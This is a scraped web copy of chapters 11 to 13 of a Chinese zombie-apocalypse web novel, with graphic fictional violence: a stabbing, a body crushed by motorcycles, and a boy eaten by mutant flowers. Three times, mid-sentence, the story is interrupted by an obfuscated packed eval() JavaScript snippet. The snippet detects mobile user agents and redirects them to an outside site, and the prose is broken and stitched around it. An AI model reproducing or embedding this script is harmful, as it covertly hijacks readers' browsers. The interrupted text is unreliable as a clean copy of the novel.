雨势没有半点减小,地动天摇,世界仿佛正在人类看不见的时刻悄然坍塌着。 林梦之看着眼前拎着菜刀的那只手,骨节完全凸出,水分流失得厉害,皮肤皱巴巴地贴着骨头,指甲盖不知道在什么时候变成了青紫。 他没敢抬头去仔细看乌珩现在的脸,只用衣袖抹着眼睛,“到时候肯定会有疫苗,那些传染病最后不都会有疫苗?” 乌珩听见了,他说:“这次不一样。” 传播途径不明,病程发展快慢无序,致死率奇高,感染后吃人的症状更是闻所未闻。 可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836408|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有疫苗吧,但乌珩不认为自己能等到出现疫苗的时候。 “明天你跟奶奶不要出门,哪里都不要去,任何人敲门也都不要开门。”乌珩低声叮嘱道。 “好,那你呢?” “看情况,雨要是停了,我就去买武器和防寒的衣物。” “你去买?”林梦之站起来,脸急得涨红,“你怎么去买?你不要以为我什么都不知道,周一气温回升一定没那么简单,现在下雨了,丧尸也开始出现了,就算明天停了雨,外面还不知道有多危险,阿珩,你其实不……不用为我们做这么多。” 乌珩嗓音柔和,却没什么情绪波动,“相信我,在你们因为没有食物而挨饿的时候,你只会恨我死之前为什么不准备足够多的物资。” 林梦之被乌珩的冷漠冲击得浑身发抖,他气得说不出话。 其实乌珩从小就这样,起码从林梦之认识他开始,他就这样,别说别人的事,就算是他自己被乌世明揍得口鼻喷血,他也都比不上林梦之十分之一的愤怒。 许多时候,乌珩都不像个当事人,而像个旁观者,无心者跟他在一起乐得自在轻松,有心者却总是为他忧心,被他刺伤。 “都他妈怪乌世明,要是末世真来了,我们第一个就把他办了!”林梦之愤怒得口齿不清。 警察来了。 随着砰砰几声关车门的声音,七八个装备一身硬甲戴着头盔的武装警察跳下车,雨水被他们脚下的皮靴踏得飞溅。 他们两两合作,游荡着的几只丧尸被挨个套上麻袋,袋口一栓,全都扔上了后车厢。 林梦之看他们收拾丧尸收拾得如此干净利落,暗暗松了口气。 警车没有立即开走,其中一名身形高大强壮的武警走到了林梦之家的院外,他低下头,看见了泡在雨水当中,脑袋被劈成两半的丧尸。 片刻的停滞后,他伸手打开围栏,带着两名武警走进了院子里。 “阿珩,你快进房间躲起来,你现在这鬼样要是被看见,他们一准也给你套麻袋拖走!”林梦之拽着乌珩,把他塞进了自己卧室。 林梦之捡起地上菜刀假装比划的时候,虚掩着的门被推开。 三个武警都人高马大,为首的尤甚,黑色制服包裹着他们孔武有力蓄势待发的身材,外套钢甲,身上挂着的枪支更是林梦之现实中从未见过的,迎面扑来的威压让林梦之差点把菜刀掉在了地上。 “你报的警?”为首的人嗓音沉冷。 “啊?对,我的电话号码尾号是7788。” “……”闻垣看着面前这个表情憨傻的男生,不确定地问道:“外面那个人是你杀的?” “人?你说那个丧尸?是我杀的。” “丧尸?这个称呼倒有趣。”闻垣身后同样带着头盔的青年朗声说。 林梦之紧张地看着对面这几名武警,对方几人一看就不是普通的警察。 “今晚的事情,在政府下发通知之前,我希望你不要告诉任何人,如果消息泄露,你可能会面临故意杀人的指控,当然,如果你能够信守承诺,政府也会给予你丰厚的奖励。”闻垣目光锋利地看着林梦之,他除了给林梦之施压,还没忘用余光去扫视整个客厅,客厅面积很大,但却几乎被大大小小的纸箱子堆满了。 听了对方说的话,林梦之连连点头。 离开时,那个被乌珩劈开脑袋的丧尸也被套上丢上了车。 从头至尾,警车连爆闪灯都没开,黑色的突击车静悄悄地来又静悄悄地去,什么痕迹都没留下。 乌珩走出房间,林梦之立刻迎上去,“我觉得问题不大!” 少年懒得再跟林梦之多费口舌,说了一句“我困了”,便拖着毯子躺到了沙发上。 X一跳一跳挪到了他的腿边,将小脑袋靠了上去。 它圆溜溜的黑眼睛看着林梦之,响亮说道:“傻逼。” 11.第11章 雨势狂放,城市积水大幅度上涨,险情预报每隔半个小时就会在市民短信箱里出现一次。 夜里,大部分人都睡不着,不仅因为动物本身存在的对危险即将来临的某种直觉,还有对于以后生计的担忧。 之前天气预报说雨季会在周一结束,而现在已经到了周日,毛毛细雨却突然转为倾盆大雨,到底是上帝准备在雨季的最后一天想将储存的所有雨量尽数倒出还是自然界针对这场灾难拉响的最后一次警报,不得而知。 乌珩却睡得着,并且睡得很香,缩在他怀里的X时不时就会醒来一次,伸着脑袋四处查看,仿佛是在确定周围环境安全。 半夜,全国各地发出防汛预警通知,降雨量上升的速度在整个雨季当中都前所未有。 林奶奶中途起了好几次床,在客厅说“雨怎么这么大”,不明情况的她嘀咕了一会儿后又回到房间重新入睡。 早上七点出头,林梦之被“唰嗤唰嗤”的声音吵醒。 他睁开眼睛,以为自己是在做梦。 不知想到了什么,他翻身坐起,丢了被子就往外面冲。 厨房里,男生瘦弱单薄的身影背对着门口站在灶台前,肩膀一耸一耸,手里不知道在弄些什么。 林梦之咽着口水,“阿珩,你在做什么?” 乌珩握着刀锋铮亮的水果刀回头,“磨刀啊。” “……” “你要出门?” “嗯,雨小了很多。”乌珩看了眼厨房的窗外,已经有人打着伞上班去了。 乌珩说一不二,他磨好刀后便从林梦之家离开了。 他回了自己家。 因为就算是世界末日即将来临,他也得给家里那几个做早饭,只不过今天周日,乌世明和曾丽珂不上班,起得晚,吃早饭的时间也可以往后推半个小时。 半个小时之后,一家人坐下来吃早餐。 “乌珩你这两天都跟林梦之在一块儿?”曾丽珂注意到,她这两天很少见到乌珩,虽然平时就算乌珩在家也是待在房间里鲜少出来,可还是能时不时看见他人影的。 “嗯。”乌珩咬着花卷,吃了半口,他就放下了,他现在吃面食没有味道,面粉在嘴里嚼开之后的口感很像失去水分的干泥巴。 “你们都玩什么了呀?把小芷也带上嘛。”曾丽珂说道。 乌珩扫了一眼乌芷,点了下头。 被少年扫视之后的乌芷连声道:“我不去我不去,我喜欢待在家里,和爸爸妈妈一起。” 曾丽珂很是高兴地摸了摸乌芷的脑袋,又问乌珩,“今天也要出门玩儿?” “嗯。” “还在下雨呢。”曾丽珂看了眼窗外,“路上可得注意安全。” 出门时,曾丽珂破天荒地从钱包里拿了两百块钱给乌珩,“早点回家。” 外面仍在下雨,路上行人行色匆匆,路灯始终没灭,萤火一样漂浮在半空中。 乌珩仰起伞,看了眼头顶上空,已经九点了,天依然还没亮。 他在小区门口打到车,前去刀具批发市场。 少年沉默地坐在后排座位,眉眼灰暗阴郁,皮肤透着一股生了重病的青。 司机陷在座椅里,懒洋洋地摆弄着方向盘,车里安静得像是没载客,让他浑身都不得劲,于是他主动找后排的小男生说话,“欸你说明天是不是真的雨就停了?” 乌珩过了半天才反应过来司机是在跟自己说话,他老老实实地说了句“不知道”。 “我觉得悬,这天气预报就没一天准过,”司机把头往后面扭了一下,又很快扭了回去,继续说话,“你看今天这雨,我刷到好几条新闻,说好多地方都被淹了,咱们汉州要不是防洪系统做得好,多半也得被淹咯。” “淹了好,淹了我休息两天,连着跑了一个周的早班,累死人。” 乌珩仅靠一句“不知道”就让司机独自叨叨了一路,没有理睬司机的时间里,他都沉浸在自己的世界当中。 - 空荡荡的街道上只时不时一辆班车经过,路上行人稀少,街边商店却几乎都亮着灯开着门,在雨水与雨雾当中,一道颀长又颓丧的影子出现了。 门忽然被推开时,坐在收银台后面打瞌睡的女人吓得魂飞魄散。 “我买刀。” 老板醒了瞌睡,连忙起身招呼,“要什么刀啊?我这儿的刀可不便宜。” 店内灯光很暗,只有货架上的灯带亮着,照耀得刀锋更亮更利。 乌珩目光从几个货架上扫过去,在看到最末尾时,他抬步走过去,眼前摆放的是一排排长度不一的砍刀,都没开刃。 “要砍刀?”老板跟过去。 乌珩手指碰上刀柄,轻轻握住,这一把刀身在这一排砍刀里最长,最具威慑力,但是不太便于携带,乌珩松开手,视线投向其他地方。 “你买刀是想做什么呢?”老板又问。 乌珩顿了顿,说:“杀猪。” “呃……”老板一口气梗了半天才吐出口,“虽然咱们这儿是批发市场啊,但我其实不做批发,我这儿的刀它都比较小众,杀猪刀呢,我这儿没有,但如果你不介意的话,我这儿所有的刀开刃之后,都能杀猪。” 乌珩话少,与陌生人更是没有交流意愿,他看了半天,站在了一柄短刀前,下面有写短刀的一些信息,刀身总长47cm,刀刃占36cm,产自日本,他用手指握住短刀的刀柄,刀柄是扁身,做了精细凤雕,正适合他手掌的大小。 看出少年明显心动,老板凑过去,小声说:“一万四。” 乌珩慢慢松开手。 老板忙又说:“你要是买超两万,我给你打七五折。” 乌珩又挑中了一把剔骨刀和一把秀气精致的裁纸刀,付完钱后,老板又大方地帮助给几把刀都开了刃,还赠送了刀具养护需要的一系列工具。 “本来我是不能帮你开刃的,但管他呢,反正过了今天我就关门不干了。” 乌珩说了谢谢,想问对方为什么不干了,又不想被揪着聊个没完,随即拎着购物袋想转身离去。 “喂,同学!”老板却忽然叫住他,乌珩回过头,对方微抬下巴,“你不好奇我为什么不干了吗?” 乌珩摇头,“不好奇。” “……” 他说完后,推开门便要走。 老板又叫住他,指了指他的右边,“别从那边走,那边怪得很,容易摔跟头。” “谢谢。”乌珩走到门外,撑开伞,朝街道的右边看去,雨天的能见度很低,空中飘着雾,又掺着雨,什么也看不清。 少年站在之前下车的位置拦车,雨势跟之前一样,可雾却变得比之前浓厚,若不是手表显示时间是上午十一点,现在的景象会让他以为正值深夜。 大路朝四方延伸,街灯朦胧,商店尽管处在营业中,却纷纷闭门。 乌珩看了前方,又看向后方,后方没有楼宇,湿漉漉,黑漆漆。 朝左边看过去的时候,也就是之前商店老板所指的右边,此刻现在他已经站在了商店的对面,他什么都看不见,再努力也看不见,雾越来越浓了。 但身后有摩托车声音传来时,听力发挥了作用,乌珩朝旁边让了几步,免得被撞到。 一阵破天的引擎声和一群男生嘻嘻哈哈的笑闹声由远及近。 驾车而来的一群人没有驾车离去,反而是停在了乌珩身旁。 “有钱没有啊?” 乌珩被推了一下,才知道这些人是在跟自己说话。 他茫然地抬起头,然后从口袋里掏出了剩下的两百多块钱给过去。 “你打发叫花子呢?手机转账,赶紧的。”为首的红毛看见这男生这么怂,更是理直气壮。 乌珩在网上刷到过,说因为近期奇怪的事情增多,犯罪率比往年要高出不少,施暴抢劫的案例更是成倍增长。 可他现在本就缺钱,手机银行剩下的钱还要买物资,他只能摇头,“不行,我的钱还有用。” 话刚出口,红毛旁边那辆摩托车熄了火,车上的人径直朝他走来,乌珩往后退了两步,差点掉进了排水沟里。 乌珩只能拿出了购物袋里的短刀,或许是因为对面的七八个人完全没把他放在眼里,所以也根本没有注意到他的小动作。 脸上纹着纹身的青年一脸戾气地走来,他抬起手,拳头还没来得及打到乌珩的脸上便停在了半空中。 “草……”青年不可置信地低头,看着没入自己腹部的刀,接着抬眼,撞上少年漆黑无神的眼睛。 "抱歉,但是我真的没有钱。"乌珩拔出刀,一脚踹倒了对方。 刀锋上的鲜血滴滴答答地淌到地上,鲜血的味道飘到鼻息前,他眼前天旋地转,食欲疯狂叫嚣起来。 少年不知道自己此刻的脸色已经乌青,他的眼瞳像是长了霉斑,他身体摇晃着,说话含糊不清。 “我去我去我去!狂犬病狂犬病,这也是个狂犬病!”一群人眼睁睁地看着男生变了模样,屁滚尿流地爬上摩托车,随着引擎声响起又远去,乌珩面前就徒剩一个进气少出气多的人。 乌珩把刀放回到购物袋,他喘着粗气蹲下来,用手指抚过凹凸不平的地面,然后把沾满鲜血的手指送到嘴边。 好香啊。 好饿。 乌珩被饥饿折磨得跪倒在地。 趁着神识还没有完全消失,他又站了起来,往家的方向走。 熬过去这一阵应该就好了。 他的身形从远处看,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841912|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始的笔直到佝偻。 他还背着书包,手里还拎着一只很大的购物袋,伞早已经不知道去哪里了。 整条路上,就只有他一个人,如果他现在还算是个人的话。 引擎声再次出现。 乌珩耳畔嗡鸣着,身体的发条仿佛卡住了,使他回头的速度变慢,车影一闪过,他的身体就感受到一阵剧痛。 “操/你妈,看我不撞死你,免得你他妈的去咬人!” “还没死还没死,再碾几下!” “快点啊,草!” 义愤填膺的群声回荡在周遭。 几辆摩托车依次从乌珩身上碾了过去,他听见了自己胸腹被压瘪,肋骨折断后的声音,碾碎的内脏挤到了他的咽喉,他吐出血来,视野里糊成了一片鲜红色。 几轮碾压下来,少年的身体已经看不出人形,那些人也没敢去捡他的东西,嚷嚷着为民除害,拖着被捅伤的同伴耀武扬威地跑了。 时间一分一秒地过去,缓慢但却清晰的。 乌珩眯起眼睛,不明白自己为什么死那么慢。 尽管后背和胸膛已经糊成了一团肉泥,食欲却还能催动他爬起来去找点东西吃吃的冲动,他手指动了动,觉得能啃上自己一口也是个不错的主意。 饿,真的好饿。 左边有什么东西探进水沟,贴着泥泞的草地爬上了被鲜血染红的路面,它停留在了少年身旁,柔软的触手正在吸食着淌开的鲜血。 乌珩听见了窸窣声,他僵硬地转头,在一片雾色里,看见了一截水管一样的东西出现在视野里,它摆荡着,不是死物,绿色的,触手? 下一秒,他的脖子被触手卷住,他的身体被一股不可抗的巨大力量拖离了宽阔的公路。 “别从右边走。”乌珩脑海里响起道具店老板之前说过的话。 乌珩已经感觉不到疼痛,他只知道颠簸了一路,最后终于能停下了。 身下柔软,空气中流淌着一股湿润的芬芳。 他手指像是被什么东西卷住吮吸,他扭不动脑袋,但能感觉到,身体下方的东西虽然柔软,却一直在蠕动,像是某种虫子,可味道又不像,气味更似花香,令人心向往之。 肚子里好像有什么东西在钻来钻去。 乌珩垂眼,看见了令他都感到毛骨悚然的一幕。 他的身体已经被蠕动着的绿藤贯穿,穿过他身体的藤条被鲜血染红,零星的黑色花瓣散落在各处,他所处之地,像是一片稀稀拉拉的花田。 变异植物。乌珩心里有了答案。 他的腹部已经被掏空,一根藤条紧接着掏开他的胸腔,从里面摘出心脏,其他藤条立刻凑上来哄抢。 少年半眯着眼睛,他惨白的脸上染了不少血,他眸子里映出疯抢着他的心脏纠缠成一团的变异植物,无趣寡淡的表情靡丽生艳。 他几乎被它们包裹了,身体也所剩无几了,可他仍然苏醒着。 那颗心脏被抓抢了半天,还没有个结果,一只只剩白骨的手臂突然探起来,握住了它。 这是他的心脏,自然也是他的食物。 没等变异植物反应过来,乌珩就把心脏塞进了自己嘴里,大嚼特嚼。 那些粗细不一的藤条同时停止动作,像是石化了,很快,它们高昂蓄力,少年遭受到它们猛烈的进攻。 鲜血飞溅,在昏暗的天光下,疯狂蠕动的藤条如同一个绞缠在一起的蛇窝。 吞食过鲜肉,吸食过鲜血后,成片的青藤幽绿发亮,它们的蠕动在此后莫名的餍足,直到一只惨白的手突然探起,攥住一条青藤,他五指陷进藤体,整片青藤都因此疯狂挣扎起来。 失去意识是一瞬间的事情,恢复意识也是。 乌珩蓦地坐起来,第一个动作就是摸向自己的胸口。 还有心跳?为什么? 他低下头,看见自己四肢俱在,肚子也没有被掏空,甚至,甲床也不再是乌黑色,还变成了比之前更为健康的水粉色,手上的皮肤更是白皙光滑到没有一丝纹路毛孔,宛如初生婴儿的肤质。 他看向周围,变异植物不见了,消失得干干净净,天地一片宁静。 再次低下头时,他看的不是自己,而是自己身处的这片花田,花田被泡了不少雨水,低矮的植株被淹了许多,景象看着已然凋败。 他腿边就有几株被压弯了的,少年试着将它们扶起来,手刚伸过去,它们就主动依偎到了自己手指上。 它们的茎秆细软,植株又小,显得娇弱,在雨中不堪一击。 花瓣像是纯黑色,花蕊点着几粒金黄,花瓣触感柔软光滑,花苞像郁金香,绽放后又像罂粟花,诡异又妖孽。 乌珩认出来,是虞美人,只不过是变异了的虞美人。 12.第12章 少年一脚深一脚浅回到了街道上,他拾起自己的包和几把刀,迎面正好一辆出租车驶来,他顺手拦下。 上车后,他倒在后座,身上的衣服已经全部湿透,可他却并未感觉到冷,他只感到饿,此刻的饥饿比以前的饥饿更加来势汹汹。 他的意识没有因为饥饿而变得混沌,他罕见的清醒,乌黑的眸子一瞬不瞬地注视着司机的后颈,身体里有什么东西仿佛在翻涌、蠕动。 回到小区,乌珩加快步伐往所住楼栋走。 他没看时间,但步入林梦之家院子时,林梦之是哭着跑出来的。 “梦之,我要吃东西。”乌珩一把攥住林梦之的手臂。 林梦之感觉自己骨头都差点被捏碎了,他大喊着松手,一转头,撞上乌珩黑得发紫的瞳孔。 “阿珩,你怎么了?”不仅眼神不对劲,眼睛的颜色也不对劲。 乌珩却改为攥住林梦之的衣领,他鼻尖触上对方的鼻尖,垂着眼皮,“你闻起来,好吃。” 一股尿意窜到了林梦之的小腹。 “没问题没问题!我马上去给你做!”林梦之手脚并用从乌珩手里挣脱,连滚带爬跑进厨房。 打开冰箱,他甚至都没顾得上挑菜洗菜,把塑料口袋里的西蓝花大白菜西红柿一股脑在菜板上剁开丢进煮锅,水开之后,他不管三七二十一倒了五斤水饺下去。 乌珩连书包都没放下,埋头苦吃。 林梦之站在不远处皱眉看着,“你慢点,回头烫出食道癌。” 乌珩拿着筷子,抬起头,“还有吗?” 林梦之这回不再多问,钻进厨房开了火,他把前两天特意做的一盆酥肉全部倒进了锅里,这回他没那么慌神,还切了香菜末和小米辣进去当佐料。 这一大锅,喂猪也够了。林梦之心想。 乌珩换了大汤勺往嘴里喂,他吃第一口时动作就停住了,不过他还是咽了下去,之后才道:“下次不要放辣椒了。” “辣椒?小米辣吗?你以前不是最爱吃辣?”林梦之坐在地上,难道变成丧尸,口味也会变?丧尸不吃辣? “现在吃辣,感觉不太舒服。”不仅很呛,舌头还有些痛,还想扇林梦之两巴掌。 “那下次我就不放辣椒了。”林梦之点头,一点都没察觉到乌珩表情里隐藏的杀意。 眼见着第二锅又将要见底,林梦之小心翼翼开口问道:“吃饱了吗?” “差不多了。”乌珩说道。 对方吃饱了,林梦之抹了把额头上的汗,松了口气,“你他妈的吓死我了,我刚刚还以为你要把我吃了,不是,你路上是不是遇见了什么事儿?这都晚上了,而且你还一身的泥,还有,我发现……你回来之后跟你出门之前不太一样了?” “你出门之前看起来像鬼一样,我要不认识你我在路上碰见你都能被你直接吓死,但你现在看起来为什么比以前的状态还要好。” 以前的乌珩总是低落萎靡的,脸上没有什么血色。他身体表面仿佛被撒了一层灰,你看不清他,他也游离在世界之外。 林梦之知道那是因为他家里的关系,那两口子眼里只有傻子乌芷,于是乌珩就习惯性地把自己藏起来,把自身的存在感减弱到无。 他认识乌珩多年,小时候的乌珩很爱笑,但不知道从什么时候起,不管是记忆里的乌珩还是面前的乌珩,他们的面容都变得无比模糊。 但此刻的乌珩大不一样,他面容出现从未有过的光彩,平时总是低垂着的眉眼光华流转,恢复血色的唇染了血一般,红得艳丽尖刻。 但因为乌珩一向表情少,再脱胎换骨,林梦之也没办法把他跟妖邪联想到一起。 少年神色清冷,林梦之想,对方大概是阴差阳错成神了。 乌珩不知道林梦之脑子里已经把自己神化了,他把上午在市郊遇到的事情简单叙述了一遍。 “等等,你是说,你被人打劫然后被碾得稀巴烂然后被几朵花拖走吃得一干二净?”林梦之边说边慢慢朝身后挪,“那你现在是什么东西?反正肯定不是丧尸了。” “不知道。”乌珩诚实地回答,“可能是变异了。” “又是变异?”林梦之瞪大眼睛,“那只鸟也是变异,你也变异,这个世界……” 乌珩眼前出现在市郊花田看见的那些暴起的花藤,轻声道:“世界末日早就来了,只是我们现在才察觉,只是它还需要一个正式的开场而已。” 林梦之打了个冷噤,X也站在吊灯上叫了一声。 - 午夜,乌珩在自己房间醒来,他敏锐察觉到透进房间里的光线不太对劲,随即拉起百叶窗。 天上挂了一轮月亮,月亮是紫色的,像一块质地优良的紫玉。 投射下来的光线,使乌珩想到医院的一些消毒灯,同样也是紫色。 乌珩抓起手机,拍了张照片给谢崇宜发了过去。 本来这么晚了,他没指望谢崇宜回,可谢崇宜却秒回。 “你知道什么关系才会时不时给对方分享自己拍到的照片吗?” 乌珩本来以为谢崇宜是在讽刺自己,他手指按到了撤回,谢崇宜却在这时候也发送了一张紫色的月亮过来。 “乌珩同学,你作何感想?” “我不知道。” “语音聊?” 乌珩时常跟不上谢崇宜的节奏,因为谢崇宜聊天没有节奏。 乌珩想知道更多的消息,他主动给对方打了语音通话过去。 电话接通后,乌珩却没有作声,直到对面不确定地叫他,“乌珩?” 谢崇宜的嗓音是同龄人中少见的低沉但不沙哑的少年音,跟他这段时间给乌珩的恶劣的印象有一定的出入,没那么讨人厌。 “嗯,我是。”乌珩坐在床上,靠着床头,手指抠着手心。 “你半夜给我发消息,是在害怕吗?”谢崇宜的话说得关切,语气却尽是调侃。 “不是,”乌珩否定得飞快,他目光看向窗外,看向那轮颜色漂亮到诡丽的弯月,“今天是周一,外面的雨已经停了,你觉得今天之后,一切会恢复正常吗?” 谢崇宜:“这个问题不符合你现在在我心目中的形象,问点别的。” 乌珩深吸一口气,“我认为天亮之后,外面可能就会像那些电影里面一样。” “哪样?” “可怕吧。” “那你害怕吗?”谢崇宜又问出了最开始的问题,并且说,“我在学校,你要是害怕,可以来找我。” “你在学校?” “学校人少,在学校躲躲。”谢崇宜刚说完,后面就跟着一声笑骂,明显是旁边还有人。 乌珩不关心谢崇宜跟谁待在一起,学校里都有谁,他拒绝了谢崇宜的邀请,“还是不了,这种时候再出门不安全,我楼下有梦之,我不怕。” “梦之?你那个发小?”谢崇宜笑了一声,再接着说时,语气明显疏离冷淡了许多,“祝你好运,挂了。” 挂了电话,乌珩后知后觉,自己不仅什么消息都没得到,还好像被谢崇宜甩了脸子。 他将手机丢到一旁,坐到窗边,眯眼看着月亮。 他身体并未对这种奇异的色彩感觉不适,甚至感受相反,有一股微弱的能量,从指尖传遍全身。 像武侠片里一样,乌珩往窗外推了一掌。 无事发生。 看来没有因祸得福获得内力那样的东西。 紫月的颜色深浅一直在伴随着时间改变,到熹微出现,它变成半透明,像以前出现的月亮一样正常消失。 紧接着,太阳出现了,城市上空被铺上一层浅金,雪白层云被投射成金纱,游龙飘动,美不胜收。 看着眼前久违的日出,乌珩忍不住屏住呼吸。 小区里传来了欢呼声,不绝于耳。 雨季持续三年,太阳的身影也消失了三年,地球上的每一个人都在为此刻的日出热泪盈眶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849884|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无一不欢欣鼓舞,沉寂三年的生机皆在这一刻焕发。 乌珩静静地坐在窗边,直到脸上被日光晒得发烫,他才低头看了眼时间——还不到六点。 此时,太阳已经完全地升了起来,按照这个爬升速度,估计不到九点钟,太阳就会升至正空。 可现在所有人都还未曾察觉到这种异常,一楼的花园已经有了不少人跑出去沐浴阳光。 乌珩又看了现在显示的气温,25。 他翻身跳下床,发现昨天穿的厚外套已经没法上身,他随便拿了件衬衫套在身上,先给林梦之打了电话。 “太阳出来了!”林梦之兴高采烈,“我们买了那么多物资,我们完了!” 乌珩拿出所有的水桶水盆接水,“你看一下时间。” “我草!五点四十七!”林梦之怔怔看向窗外那些还在欢声笑语的人,“他们完了……” “你多接点水放着,我担心天气走向另一个极端,那样就有可能停水停电。”虽然他跟林梦之买了不少大桶的纯净水,可桶装水占地太多,所以也没买特别多,现在当然是能多一口水就多一口水。 林梦之脸色一变,他扑到窗户上,打开窗户,声嘶力竭地朝那些熟面孔大喊:“你们快回家!进屋!快点啊靠!不要待在外面!” “这太阳有鬼!” “张嫂子!梅梅姐!” 日光的明亮没能维持太久,光线缓慢地变淡。 起先乌珩以为是云团飘过,遮挡住了太阳,可当他站到落地窗边时,却发现不是那么回事。 不是阳光颜色淡了,而是太阳颜色变了。 太阳变成了紫黑色,仅边缘还有一层白亮的光晕,大地因此陷入一片昏茫怪异的暗紫色调。 那些在花园里沐浴阳光的人脸上出现统一的不解表情。 “怎么回事啊?” “这种太阳我还没见过呢,赶紧拍两张!” “算了,回去睡觉了。” 一名还穿着睡衣的女人打着哈欠往回走,刚走出没两步,旁边一道黑影从后而来,将她用力扑倒在地。 噗嗤一声,女人的喉咙被咬穿,鲜血喷溅到附近几人的身上。 尖叫声响起后,不断有人被扑咬,惨叫声和嘶吼声此起彼伏,宛如野兽进食的低吼声更是密集不断。 暗紫色的光线下,残缺变形的身影越来越多,它们晃来荡去,在花园,在楼道里,寻找着新的食物。 许多不明情况的人,不管是出门上班还是买菜,刚一走出门口,就会被饥饿难耐的丧尸扑咬啃食,然后彻底失去声息,最后沦为丧尸中的一员。 乌珩站在窗户后面静静地看着这一幕从开始到结束,他呼出一口气,伸手关上窗户,低头打开手机。 果不其然,网上全是官方删都删不及的消息,配的图更是血腥得上传即崩。 [我报警了,但是没有人接电话,这到底是怎么回事?] [好多之前那样的狂犬病,而且传染速度更快了,被咬了之后当时就会发疯,我不敢出门了。] [求助求助,我老公突然发疯咬了我儿子,我现在把他们关在了卧室,我要怎么办?送他们去医院吗?] [没有人出来管一下吗?] [为什么外面都是那种东西?我的天呐,他们会疯狂攻击路人!] [这是丧尸!世界末日来了!抄家伙啊兄弟姐妹们!] 乌珩没有参与网友的讨论,这是他早就预料到的局面。 他打开微信,直接跳过林梦之几十条的最新消息,看了眼跟谢崇宜的聊天框。 谢崇宜没有任何动静。 乌珩总觉得谢崇宜比大多数人都知道得多,而且对方身上的味道他到现在都很怀念,所以他愿意主动,想了想,他给对方发去消息。 “谢崇宜,你还好吗?” 等了两分钟,谢崇宜才回复。 “我还好,你跟你的梦之还好吗?” 13.第13章 乌珩抓着手机,过了几秒钟,他才回复对方:“挺好的。” “你还没死,你变异了。”谢崇宜眯起眸子。 乌珩这次倒没有瞒着谢崇宜,直接就说了。 “我不知道。”乌珩确实不知道自己为什么都被变异植物大卸八块了还能完好无事,但除了变异,好像也没有其他的解释。 可如果是变异,为什么他身上没有任何变异的证明,除了……气色好像好了点,头发好像没那么干枯了,可这又算什么变异,在末世降临后,这只能算变得可口。 在如此混乱无序的情况下,谢崇宜一个电话给乌珩打了过来。 汉州一中高三1班的教室,谢崇宜坐在阳台上,他低头看着在楼下嘶吼扑咬着铁门的丧尸,问手机那头的少年,“乌珩,我是谁?” “你是谢崇宜。” “我告诉你两件事情,一,丧尸分两种,一种就是即咬即变,神智全无,与野兽无异;还有一种则畸变速度缓慢,具有正常人的思考能力,在没有彻底畸变之前,外表也与常人无异,但从畸变开始的那一刻起,它们就不再是人类,并且只吃活物。” 谢崇宜慢条斯理,逗狗似的,往楼下扔了一只矿泉水瓶,那群丧尸立刻高吼着扑过去,他笑起来,笑容堪称明媚。 乌珩想起了学校里的陈双和赵钱孙,他们好像就属于谢崇宜所说的后者。 “第二种,更危险。”乌珩低声道。 “你可以靠气味分辨它们,只要是发生畸变的人,他们的身体都已经腐烂或者正在腐烂,所以他们会产生一种人类身上没有的腐臭味。”谢崇宜说道。 乌珩下意识点了下头,后知后觉说“知道”,又追问,“你要告诉我的第二件事是什么?” 谢崇宜:“上帝是公平的,他没有让人类完全成为砧板上的鱼肉,所以他随机挑选了一部分幸运儿,给予了他们可以与这次灾难相抗的特殊能力,乌珩,你是幸运儿中的其中之一吗?” “……我不是。”乌珩敢肯定,因为从小到大,他的字典里就没有幸运这两个字,他是如此的普通,如此的平平无奇。 “那很遗憾了,我是。”谢崇宜的语气听起来没有任何心理负担,当然,也没有炫耀意味。 但正因如此,才更令人不爽。 个别人生来就是天之骄子,到了本该人人平等人人等死的末世,上天却依旧眷顾他。 “你有什么能力?”乌珩想到自己这几天的经历,魔幻又血腥,他已经做了一个普通人在这时能做的一切。 “想知道?”谢崇宜说话带着钩子似的,“来学校找我啊。” 乌珩看着窗外重新出现的太阳光线,问道:“我后面还能给你打电话吗?” 谢崇宜却沉默了半天才出现声音,“你打算以什么身份跟我通话?” “……同学。” “我们很熟吗?” 的确,在这之前,乌珩跟谢崇宜说过的话加起来不超过十句,这两天也是他主动居多,谢崇宜那么聪明,他不可能不知道他的主动只是为了互换信息。 “不熟,”乌珩绞尽脑汁,套用林梦之平时与人交往时的方式,“多聊聊,就熟了。” “……”过了会儿,谢崇宜轻笑一声,“行,那你以后多找我聊聊。” 这次由乌珩挂断电话。 因为乌世明从房间里揉着头发走出来了,“外面怎么那么吵?” 他身后跟着打着哈欠的曾丽珂,她看着窗外不知道何时又出现的明亮光芒,“哟,出太阳了?” 